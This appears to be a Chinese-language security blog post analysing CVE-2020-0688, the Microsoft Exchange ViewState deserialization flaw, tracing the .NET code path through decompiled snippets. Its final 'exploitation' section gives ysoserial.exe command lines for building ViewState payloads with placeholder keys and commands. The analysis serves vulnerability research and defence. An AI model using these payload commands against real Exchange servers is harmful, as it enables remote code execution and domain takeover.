关于如何利用该漏洞,ZDI的博客中已有介绍。但是关于这个漏洞的细节还未看到有更多的披露。本篇将补充分析该漏洞的细节。
01. 漏洞简介
Microsoft Exchange Server是微软公司推出的一套商业电子邮件系统,因其稳定、易用、安全等特点在全球多个行业被广泛地应用。
由于Exchange Server在安装部署时未能创建应用唯一的加密密钥,导致Exchange Server在反序列化处理请求中的 __VIEWSTATE 数据触发远程代码执行。Exchange 是以SYSTEM权限启用的IIS,因此普通登录用户也可通过反序列化达到提权的目的,进而可以获取域管理的权限。漏洞基本信息
- 公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
- 作者: Anonymous working with Trend Micro’s Zero Day Initiative
- 环境: Windows Server 2016 Standard; Microsoft Exchange Server 2016 Cumulative Update 15;.NET Framework 4.0;
- 工具: dnSpy v6.1.3
- 补丁: 请参考公告中提供的补丁信息
注:本篇文章仅在上述条件下调试分析
02. 漏洞分析
(1)消息认证码校验简述
在ASP.NET Web应用程序中通过 __VIEWSTATE 参数维持对象的ViewState视图状态。.NET Framework会对 __VIEWSTATE 参数进行加密和签名。如果启用了消息认证码(message authentication code)验证机制,则会获取相关的 machineKey 配置中的参数值去验证签名。具体机制可能会在之后的文章中补充1。其中相关的密钥一般存储在web.config或者machine.config配置文件中。
这里我们可以查看Exchange Server 2016中的配置文件进行说明,在 pages 标签中的 enableViewStateMac 属性值设置为true即启用了消息认证码验证机制。相应的配置信息则在 machineKey 标签中,其中包括验证密钥validationKey、解密密钥 decryptionKey 以及加解密算法。
<?xml version="1.0"?>
<configuration>
[...]
<pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false">
<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
<add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" />
</controls>
</pages>
[...]
<system.web>
<machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" />
</system.web>
[...]
</configuration>
(2)ViewState 反序列化过程
一般情况ASPX文件在.NET Framework下运行会生成临时的文件,以default.aspx文件为例,会生成如下图的dll,通过dnSpy反编译如下图所示。当前 default_aspx 类通过多重继承,最终继承 System.Web.dll 中 System.Web.UI 命名空间下的Page类。
在处理请求的时候会调用System.Web.dll!System.Web.UI.Page.ProcessRequestMain 方法.
//Code snippet 0
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
[...]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
}
this.LoadAllState();//[0]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
}
[...]
}
在 ProcessRequestMain 方法的[0]处调用 LoadAllState 方法载入请求中的各种状态。
//Code snippet 1
private void LoadAllState()
{
object obj = this.LoadPageStateFromPersistenceMedium();//[1]
[...]
}
紧接着调用 LoadPageStateFromPersistenceMedium 方法[1]中的load 方法[2]。
//Code snippet 2
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
PageStatePersister pageStatePersister = this.PageStatePersister;//[3]
try
{
pageStatePersister.Load();//[2]
}
catch (HttpException ex)
{
if (this._pageFlags[8])
{
return null;
}
if (this.ShouldSuppressMacValidationException(ex))//[5]
{
if (this.Context != null && this.Context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Ignoring page state", ex);
}
this.ViewStateMacValidationErrorWasSuppressed = true;
return null;
}
ex.WebEventCode = 3002;
throw;
}
return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);
}
调用load方法的对象是PageStatePersister 抽象类[3],HiddenFieldPageStatePersister 实现了该抽象类。最终的反序列化在[4]处触发。
//Code snippet 3
public class HiddenFieldPageStatePersister : PageStatePersister
{
public HiddenFieldPageStatePersister(Page page) : base(page)
{
}
public override void Load()
{
if (base.Page.RequestValueCollection == null)
{
return;
}
string text = null;
try
{
text = base.Page.RequestViewStateString;
if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
{
Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4]
base.ViewState = pair.First;
base.ControlState = pair.Second;
}
}
catch (Exception ex)
{
if (ex.InnerException is ViewStateException)
{
throw;
}
ViewStateException.ThrowViewStateError(ex, text);
}
}
(3)非必要的__VIEWSTATEGENERATOR参数在我进行审计代码的时发现,触发反序列化漏洞时并不需要__VIEWSTATEGENERATOR 参数。具体验证该参数的代码实现请大家参看代码片段2的[5]处。事实上,在代码片段3中触发反序列化之后会抛出异常,最后并没有执行到[6]处。
internal bool ShouldSuppressMacValidationException(Exception e)
{
if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks)
{
return false;
}
if (ViewStateException.IsMacValidationException(e))
{
if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways)
{
return true;
}
if (!string.IsNullOrEmpty(this.ViewStateUserKey))
{
return false;
}
if (this._requestValueCollection == null)
{
return true;
}
if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6]
{
return true;
}
}
return false;
}
(4)利用方式
- 通过__VIEWSTATEGENERATOR 的值(generator)生成payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
- 通过应用路径(apppath)和文件路径(path)生成payload
并不是所有的aspx页面都会在response包中返回 __VIEWSTATEGENERATOR 的值,一般情况,Exchange的应用路径(apppath)和文件路径(path)是相对固定的。当然已知这两个路径以及配置信息是可以推算出generator的值2。结合web.config 配置文件中的信息和ViewState 反序列过程中的分析,针对该漏洞ecp目录下可访问的aspx文件均可达到RCE的效果。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --path="" --apppath="" --viewstateuserkey="" --isdebug -islegacy